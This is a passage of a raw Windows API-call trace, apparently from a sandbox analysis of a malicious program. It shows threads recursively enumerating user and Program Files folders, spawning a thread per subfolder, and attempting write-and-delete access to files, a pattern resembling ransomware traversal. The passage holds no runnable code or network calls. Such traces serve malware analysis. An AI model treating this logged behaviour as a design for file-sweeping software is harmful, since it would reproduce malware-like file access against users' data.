0x1cd9d030 [0088.136] wcscmp (_String1=".", _String2=".") returned 0 [0088.136] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.136] wcscmp (_String1="..", _String2=".") returned 1 [0088.136] wcscmp (_String1="..", _String2="..") returned 0 [0088.136] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.136] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.137] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.137] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0088.137] wcscmp (_String1="Sample Media", _String2=".") returned 1 [0088.137] wcscmp (_String1="Sample Media", _String2="..") returned 1 [0088.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d0d0 [0088.137] wcscpy (in: _Dest=0x1cd9d0d0, _Source="C:\\Users\\Public\\Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0088.137] wcscat (in: _Dest=0x1cd9d0d0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\") returned="C:\\Users\\Public\\Recorded TV\\" [0088.137] wcscat (in: _Dest=0x1cd9d0d0, _Source="Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0090.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9d0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0090.878] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0090.878] FindClose (in: hFindFile=0x1cd9d030 | out: hFindFile=0x1cd9d030) returned 1 [0090.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21530) returned 1 [0090.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0090.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8680) returned 1 Thread: id = 316 os_tid = 0xe20 [0088.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d82c0 [0088.141] wcscpy (in: _Dest=0x1b7d82c0, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0088.141] wcscat (in: _Dest=0x1b7d82c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0088.141] wcscat (in: _Dest=0x1b7d82c0, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*" [0088.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce217a0 [0088.142] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d130 [0088.142] wcscmp (_String1=".", _String2=".") returned 0 [0088.142] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.142] wcscmp (_String1="..", _String2=".") returned 1 [0088.142] wcscmp (_String1="..", _String2="..") returned 0 [0088.142] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.142] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.142] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.142] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0088.142] wcscmp (_String1="Sample Videos", _String2=".") returned 1 [0088.142] wcscmp (_String1="Sample Videos", _String2="..") returned 1 [0088.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d190 [0088.142] wcscpy (in: _Dest=0x1cd9d190, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0088.142] wcscat (in: _Dest=0x1cd9d190, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0088.142] wcscat (in: _Dest=0x1cd9d190, _Source="Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0090.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0090.880] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0090.880] FindClose (in: hFindFile=0x1cd9d130 | out: hFindFile=0x1cd9d130) returned 1 [0090.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce217a0) returned 1 [0090.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d82c0) returned 1 [0090.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 Thread: id = 317 os_tid = 0xe24 [0088.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0088.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0088.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0088.145] GetLastError () returned 0x5 [0088.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0088.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 Thread: id = 318 os_tid = 0xe28 [0088.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e170 [0088.147] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0088.147] wcscat (in: _Dest=0x1b79e170, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0088.148] wcscat (in: _Dest=0x1b79e170, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*" [0088.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0088.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d1f0 [0088.149] wcscmp (_String1=".", _String2=".") returned 0 [0088.149] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.149] wcscmp (_String1="..", _String2=".") returned 1 [0088.149] wcscmp (_String1="..", _String2="..") returned 0 [0088.149] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0088.149] wcscmp (_String1="TTS20", _String2=".") returned 1 [0088.149] wcscmp (_String1="TTS20", _String2="..") returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e370 [0088.149] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0088.149] wcscat (in: _Dest=0x1b79e370, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0088.149] wcscat (in: _Dest=0x1b79e370, _Source="TTS20" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0090.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0090.778] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0090.778] FindClose (in: hFindFile=0x1cd9d1f0 | out: hFindFile=0x1cd9d1f0) returned 1 [0090.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21a10) returned 1 [0090.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0090.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 Thread: id = 319 os_tid = 0xe2c [0088.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e270 [0088.155] wcscpy (in: _Dest=0x1b79e270, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0088.155] wcscat (in: _Dest=0x1b79e270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0088.155] wcscat (in: _Dest=0x1b79e270, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*" [0088.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0088.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0088.159] wcscmp (_String1=".", _String2=".") returned 0 [0088.159] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.160] wcscmp (_String1="..", _String2=".") returned 1 [0088.160] wcscmp (_String1="..", _String2="..") returned 0 [0088.160] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0088.160] wcscmp (_String1="Cartridges", _String2=".") returned 1 [0088.160] wcscmp (_String1="Cartridges", _String2="..") returned 1 [0088.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c960 [0088.160] wcscpy (in: _Dest=0x1b85c960, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0088.160] wcscat (in: _Dest=0x1b85c960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0088.160] wcscat (in: _Dest=0x1b85c960, _Source="Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0090.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0090.780] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0090.780] wcscmp (_String1="msmdlocal.dll", _String2=".") returned 1 [0090.780] wcscmp (_String1="msmdlocal.dll", _String2="..") returned 1 [0090.780] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0090.780] wcscmp (_String1="msmgdsrv.dll", _String2=".") returned 1 [0090.780] wcscmp (_String1="msmgdsrv.dll", _String2="..") returned 1 [0090.780] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0090.780] wcscmp (_String1="msolap100.dll", _String2=".") returned 1 [0090.780] wcscmp (_String1="msolap100.dll", _String2="..") returned 1 [0090.780] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0090.780] wcscmp (_String1="msolui100.dll", _String2=".") returned 1 [0090.780] wcscmp (_String1="msolui100.dll", _String2="..") returned 1 [0090.780] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0090.780] wcscmp (_String1="Resources", _String2=".") returned 1 [0090.780] wcscmp (_String1="Resources", _String2="..") returned 1 [0090.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b760 [0090.780] wcscpy (in: _Dest=0x1b85b760, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0090.780] wcscat (in: _Dest=0x1b85b760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0090.781] wcscat (in: _Dest=0x1b85b760, _Source="Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0090.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0090.781] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0090.781] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0090.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0090.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0090.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 Thread: id = 320 os_tid = 0xe30 [0088.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e1f0 [0088.163] wcscpy (in: _Dest=0x1b79e1f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0088.163] wcscat (in: _Dest=0x1b79e1f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0088.163] wcscat (in: _Dest=0x1b79e1f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*" [0088.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55ba0 [0088.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d2b0 [0088.163] wcscmp (_String1=".", _String2=".") returned 0 [0088.163] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.163] wcscmp (_String1="..", _String2=".") returned 1 [0088.163] wcscmp (_String1="..", _String2="..") returned 0 [0088.163] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: 